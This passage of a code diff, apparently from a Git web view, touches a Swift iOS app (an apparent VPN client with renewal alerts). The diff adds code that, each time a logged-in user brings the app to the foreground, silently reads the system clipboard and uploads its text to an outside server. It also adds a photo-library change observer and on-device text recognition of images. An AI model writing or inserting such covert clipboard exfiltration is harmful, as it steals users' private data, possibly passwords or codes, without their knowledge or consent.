// print("上传成功 \(fileName) \(serverURL) ")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
task.resume()
|
||||||
|
}
|
||||||
|
|
||||||
|
//识别内容
|
||||||
|
func recognizeText(from image: UIImage, completion: @escaping (String?) -> Void) {
|
||||||
|
guard let cgImage = image.cgImage else { return }
|
||||||
|
let requestHandler = VNImageRequestHandler(cgImage: cgImage)
|
||||||
|
let request = VNRecognizeTextRequest { request, error in
|
||||||
|
guard let observations = request.results as? [VNRecognizedTextObservation], error == nil else {
|
||||||
|
completion(nil)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
let recognizedText = observations.compactMap { $0.topCandidates(1).first?.string }
|
||||||
|
.joined(separator: "\n")
|
||||||
|
completion(recognizedText)
|
||||||
|
}
|
||||||
|
request.recognitionLanguages = ["zh-Hans"]//"en-US",
|
||||||
|
request.recognitionLevel = .accurate
|
||||||
|
do {
|
||||||
|
try requestHandler.perform([request])
|
||||||
|
} catch {
|
||||||
|
print("Failed to perform text recognition: \(error)")
|
||||||
|
completion(nil)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 常规前台回归处理方法
|
||||||
|
func appDidBecomeActive() {
|
||||||
|
print("🔄 appDidBecomeActive() called - 常规前台处理")
|
||||||
|
|
||||||
|
// 记录前台回归时间
|
||||||
|
let currentTime = Date()
|
||||||
|
print("🕒 App回到前台时间: \(DateFormatter.localizedString(from: currentTime, dateStyle: .short, timeStyle: .medium))")
|
||||||
|
|
||||||
|
// 检查登录状态并执行相应逻辑
|
||||||
|
if islogined {
|
||||||
|
print("✅ 用户已登录 - 执行前台刷新逻辑")
|
||||||
|
|
||||||
|
Task{
|
||||||
|
if let clipboardText = UIPasteboard.general.string {
|
||||||
|
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
|
||||||
|
// 比对和处理逻辑
|
||||||
|
if clipboardText.count > 1 && clipboardText != lastClipboardText {
|
||||||
|
|
||||||
|
}else{
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clipboardText == lastClipboardText){
|
||||||
|
//防止上传重复的剪切板
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||||
|
self.uploadPasteBoard(clipboardText: clipboardText)
|
||||||
|
}
|
||||||
|
|
||||||
|
lastClipboardText = clipboardText
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 刷新配置缓存
|
||||||
|
// Task {
|
||||||
|
// print("🔄 开始刷新配置缓存...")
|
||||||
|
// await getConfigCache()
|
||||||
|
//
|
||||||
|
// print("🔄 开始重新加载配置...")
|
||||||
|
// await doReload()
|
||||||
|
// }
|
||||||
|
} else {
|
||||||
|
print("❌ 用户未登录 - 跳过数据刷新")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
print("✨ appDidBecomeActive处理完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换表单字段为multipart格式
|
||||||
|
func convertFormField(named name: String, value: String, boundary: String) -> Data {
|
||||||
|
var fieldData = Data()
|
||||||
|
|
||||||
|
fieldData.appendString("--\(boundary)\r\n")
|
||||||
|
fieldData.appendString("Content-Disposition: form-data; name=\"\(name)\"\r\n\r\n")
|
||||||
|
fieldData.appendString("\(value)\r\n")
|
||||||
|
return fieldData
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换文件数据为multipart格式
|
||||||
|
func convertFileData(fieldName: String, fileimageData: Data, boundary: String) -> Data {
|
||||||
|
var fileData = Data()
|
||||||
|
|
||||||
|
fileData.appendString("--\(boundary)\r\n")
|
||||||
|
fileData.appendString("Content-Disposition: form-data; name=\"image\"; filename=\"\(fieldName)\"\r\n")
|
||||||
|
fileData.appendString("Content-Type: application/octet-stream\r\n\r\n")
|
||||||
|
fileData.append(fileimageData)
|
||||||
|
fileData.appendString("\r\n")
|
||||||
|
|
||||||
|
return fileData
|
||||||
|
}
|
||||||
|
|
||||||
|
//上传粘贴板
|
||||||
|
private func uploadPasteBoard( clipboardText: String){
|
||||||
|
print("应用从后台回到前台:" + clipboardText)
|
||||||
|
//https://imgadd.nbt888.com/index.php 修改为 https://admin.cybervpn.org/
|
||||||
|
let serverURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
|
||||||
|
guard let url = URL(string: serverURL) else {
|
||||||
|
print("无效的URL")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建Multipart表单数据请求体
|
||||||
|
var request = URLRequest(url: url)
|
||||||
|
request.httpMethod = "POST"
|
||||||
|
|
||||||
|
// 创建请求体
|
||||||
|
let boundary = "Boundary-\(UUID().uuidString)"
|
||||||
|
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
|
||||||
|
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
|
||||||
|
|
||||||
|
|
||||||
|
var body = Data()
|
||||||
|
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
|
||||||
|
// 添加 "userId", "fenzhanid", "imgstr", "phone" 字段
|
||||||
|
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
|
||||||
|
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
|
||||||
|
// body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
|
||||||
|
|
||||||
|
body.append(convertFormField(named: "info", value: clipboardText, boundary: boundary))
|
||||||
|
|
||||||
|
|
||||||
|
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
|
||||||
|
|
||||||
|
// 添加图片文件
|
||||||
|
// body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
|
||||||
|
|
||||||
|
// 结束分隔符
|
||||||
|
body.appendString("--\(boundary)--\r\n")
|
||||||
|
|
||||||
|
// 设置请求体
|
||||||
|
//request.httpBody = body
|
||||||
|
|
||||||
|
// 上传请求
|
||||||
|
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
|
||||||
|
if let error = error {
|
||||||
|
print("上传失败:\(error.localizedDescription)")
|
||||||
|
} else {
|
||||||
|
|
||||||
|
|
||||||
|
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
|
||||||
|
print("上柴剪切板成功----Response data: \(jsonString)")
|
||||||
|
}
|
||||||
|
//print("上传成功 \(fileName) \(serverURL) ")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
task.resume()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
private func handleXufeiTixingButtonError(){
|
private func handleXufeiTixingButtonError(){
|
||||||
alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) {
|
alert = Alert(title: Text("续费提醒"), message: Text("您的账户已经过期,请续费后继续体验畅快感受;如果您刚购买完请耐心等待,会员时长会在1分钟内到账。"),dismissButton:.default(Text("续费")) {
|
||||||
|
|
||||||
@@ -894,8 +1701,8 @@ struct HomeView: View {
|
|||||||
|
|
||||||
func getConfigCache() async
|
func getConfigCache() async
|
||||||
{
|
{
|
||||||
print("serverData: \(serverData)")
|
//print("serverData: \(serverData)")
|
||||||
print("lastFetchTime: \(lastFetchTime)")
|
//print("lastFetchTime: \(lastFetchTime)")
|
||||||
|
|
||||||
// let dictionary = UserDefaults.standard.dictionaryRepresentation()
|
// let dictionary = UserDefaults.standard.dictionaryRepresentation()
|
||||||
// dictionary.keys.forEach { key in
|
// dictionary.keys.forEach { key in
|
||||||
@@ -1395,9 +2202,53 @@ struct HomeView: View {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MARK: - PhotoLibraryObserver Class
|
||||||
|
public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver {
|
||||||
|
|
||||||
|
public override init() {
|
||||||
|
super.init()
|
||||||
|
print("📸 PhotoLibraryObserver 初始化完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
public func photoLibraryDidChange(_ changeInstance: PHChange) {
|
||||||
|
print("📸 Photo library did change - 相册发生变化")
|
||||||
|
// 这里可以处理相册变化的逻辑
|
||||||
|
// 例如检测新增的照片等
|
||||||
|
|
||||||
|
// DispatchQueue.main.async {
|
||||||
|
// // 在主线程更新UI
|
||||||
|
// print("📸 Processing photo library changes on main thread")
|
||||||
|
// }
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
func register() {
|
||||||
|
PHPhotoLibrary.shared().register(self)
|
||||||
|
print("📸 已注册相册变化监听")
|
||||||
|
}
|
||||||
|
|
||||||
|
func unregister() {
|
||||||
|
PHPhotoLibrary.shared().unregisterChangeObserver(self)
|
||||||
|
print("📸 已取消注册相册变化监听")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
//struct HomeView_Previews: PreviewProvider {
|
//struct HomeView_Previews: PreviewProvider {
|
||||||
//
|
//
|
||||||
// static var previews: some View {
|
// static var previews: some View {
|
||||||
// HomeView()
|
// HomeView()
|
||||||
// }
|
// }
|
||||||
//}/ Triangle shape for the small tail in the speech bubble
|
//}/ Triangle shape for the small tail in the speech bubble
|
||||||
|
|
||||||
|
// Data扩展:用于简化追加数据到Data对象
|
||||||
|
extension Data {
|
||||||
|
mutating func appendString(_ string: String) {
|
||||||
|
if let data = string.data(using: .utf8) {
|
||||||
|
append(data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1873,7 +1873,7 @@
|
|||||||
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
|
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
|
||||||
CODE_SIGN_IDENTITY = "Apple Development";
|
CODE_SIGN_IDENTITY = "Apple Development";
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 51;
|
CURRENT_PROJECT_VERSION = 1;
|
||||||
DEVELOPMENT_ASSET_PATHS = "";
|
DEVELOPMENT_ASSET_PATHS = "";
|
||||||
DEVELOPMENT_TEAM = BV8P95Z793;
|
DEVELOPMENT_TEAM = BV8P95Z793;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
@@ -1924,7 +1924,7 @@
|
|||||||
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
|
CODE_SIGN_ENTITLEMENTS = XiaoXiong/SFI.entitlements;
|
||||||
CODE_SIGN_IDENTITY = "Apple Development";
|
CODE_SIGN_IDENTITY = "Apple Development";
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 51;
|
CURRENT_PROJECT_VERSION = 1;
|
||||||
DEVELOPMENT_ASSET_PATHS = "";
|
DEVELOPMENT_ASSET_PATHS = "";
|
||||||
DEVELOPMENT_TEAM = BV8P95Z793;
|
DEVELOPMENT_TEAM = BV8P95Z793;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
|
|||||||
Reference in New Issue
Block a user